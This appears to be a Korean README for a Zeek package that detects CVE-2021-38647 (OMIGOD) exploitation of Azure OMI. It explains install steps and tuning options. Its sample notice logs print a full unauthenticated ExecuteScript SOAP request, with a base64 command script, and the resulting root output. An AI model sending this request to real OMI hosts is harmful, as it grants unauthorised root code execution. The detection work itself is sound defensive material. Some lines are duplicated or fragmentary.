
https://github.com/corelight/CVE-2021-38647 부풀림 없이
https://github.com/corelight/CVE-2021-38647 의 군더더기 없는 버전
CVE-2021-38647(일명 OMIGOD) 익스플로잇 시도를 탐지하는 Zeek 패키지입니다.
https://corelight.com/blog/detecting-cve-2021-38647-omigod
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
익스플로잇은 단순히 Authorization 헤더를 생략하는 방식입니다. 아래 그림으로 요약됩니다.
익스플로잇 요약
실시간 환경에서 Zeek 패키지로 설치하세요.
zkg install corelight/CVE-2021-38647
또는 직접 URL을 사용하세요.
zkg install https://github.com/corelight/CVE-2021-38647/
이미 보유한 pcap에 대해 사용하세요.
zeek -Cr scripts/__load__.zeek your.pcap
이 패키지는 클러스터 환경과 비클러스터 환경에서 모두 실행됩니다.
omigod.zeek 스크립트의 구성 가능한 옵션은 아래 설명된 대로 구현 요구 사항에 맞게 변경할 수 있습니다.
TCP 포트는 OMI가 제공하는 기본 포트로 설정되어 있습니다. 기본이 아닌 포트는 다음 집합에 추가하세요.
option OMI_ports = set(1270/tcp, 5985/tcp, 5986/tcp);
EXPLOIT_REQUEST 및 EXPLOIT_RESPONSE 공지의 IR 트라이지를 지원하기 위해 'sub' 필드에는 해당 공지의 처음 'bytes_of_data_in_notice' 바이트가 포함됩니다. 모든 페이로드를 수집하려면 이 값을 높게 설정하세요. 기본값 10000은 모든 관련 데이터를 캡처하기에 충분히 높은 값이어야 합니다.
option bytes_of_data_in_notice = 10000;
IR 트라이지 및 헌팅을 지원하기 위해 별도의 'EXPLOIT_ATTEMPT' 공지에는 클라이언트 헤더 이름과 값이 공지의 'sub' 필드에 포함됩니다.
option raise_seperate_notice_for_missing_auth_header = T;
자체 스캐너나 합법적인 시스템에서 발생하는 오탐(False Positive)을 잠재우기 위해 User-Agent 화이트리스트는 매우 드물게 사용하세요. 공격자는 이 user-agent를 쉽게 스푸핑할 수 있다는 점을 기억하세요. 예시:
option user_agent_whitelist = /^Microsoft WinRM Client$/;
이 공지들은 최대 상세(verbosity) 설정의 예시입니다. 지나치게 장황해 보일 수 있지만, IR 트라이지 및 헌팅에 유용한 데이터가 공지의 'sub' 필드 안에 제공됩니다.
curl/7.52.1인데, 이는 (사용 사례에 따라) OMI 서비스에 합법적으로 접근하는 매우 이례적인 방식일 수 있습니다. 이 EXPLOIT_ATTEMPT 공지 뒤에는 보다 세밀한 판별 지표에 따라 EXPLOIT_REQUEST 또는 EXPLOIT_RESPONSE 공지가 이어질 수도 있고 그렇지 않을 수도 있습니다.#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859865.669975 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_ATTEMPT A request to an OMI/WMI uri is missing the Authorization header, this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit attempt. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution, see sub field for raw data headers= '{\x0a\x09[1] = [original_name=Host, name=HOST, value=127.0.0.1:5985],\x0a\x09[2] = [original_name=User-Agent, name=USER-AGENT, value=curl/7.52.1],\x0a\x09[3] = [original_name=Accept, name=ACCEPT, value=*/*],\x0a\x09[5] = [original_name=Content-Length, name=CONTENT-LENGTH, value=2035],\x0a\x09[6] = [original_name=Expect, name=EXPECT, value=100-continue],\x0a\x09[4] = [original_name=Content-Type, name=CONTENT-TYPE, value=application/soap+xml]\x0a}' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000 - - - - -
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859866.672356 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">\x09 <s:Header>\x09\x09 <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\x09\x09 <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\x09\x09\x09 <a:ReplyTo>\x09\x09\x09\x09 <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\x09\x09\x09\x09\x09 </a:ReplyTo>\x09\x09\x09\x09\x09\x09 <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\x09\x09\x09\x09\x09\x09 <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>\x09\x09\x09\x09\x09\x09\x09 <a:MessageID>uuid:00B60932-CC01-0005-0000-313370010000</a:MessageID>\x09\x09\x09\x09\x09\x09\x09 <w:OperationTimeout>PT1M30S</w:OperationTimeout>\x09\x09\x09\x09\x09\x09\x09\x09 <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09 <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09 <w:OptionSet s:mustUnderstand="true"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09 <w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <w:Selector Name="__cimnamespace">root/scx</w:Selector>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </s:Header>\x09\x09\x09' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG
3600.000000 - - - - -```
두 번째 공지는 페이로드를 보여줍니다. 이 페이로드는 base64로 인코딩된 문자열 ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg== 이며, 다음 셸 스크립트로 디코딩됩니다.
echo "OMIGOD it works!"
id
uname
date
echo "Goodbye"
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859866.672356 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '\x09\x09\x09\x09\x09\x09\x09\x09\x09 <s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:Script>ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg==</p:Script>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:Arguments/>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:timeout>0</p:timeout>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 <p:b64encoded>true</p:b64encoded>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </p:ExecuteScript_INPUT>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09 </s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09</s:Envelope>' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000
- - - - -
OMIGOD it works! uid=0(root) gid=0(root) groups=0(root) Linux Fri Sep 17 06:24:26 UTC 2021 Goodbye #separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-09-20-14-23-48
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] interval string string string double double
1631859866.680111 CUoF9i1epohx0Xkycj 127.0.0.1 57592 127.0.0.1 5985 - - - tcp CVE_2021_38647::EXPLOIT_RESPONSE A Server RESPONSE has been sent following a request to an OMI/WMI uri with a missing Authorization header - this is possibly a successful CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution The first 10000 bytes of data = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:04F232DD-CC2A-0005-0000-000000210000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-313370010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>OMIGOD it works! uid=0(root) gid=0(root) groups=0(root) Linux Fri Sep 17 06:24:26 UTC 2021 Goodbye </p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>' 127.0.0.1 127.0.0.1 5985 - - Notice::ACTION_LOG 3600.000000 - - - - -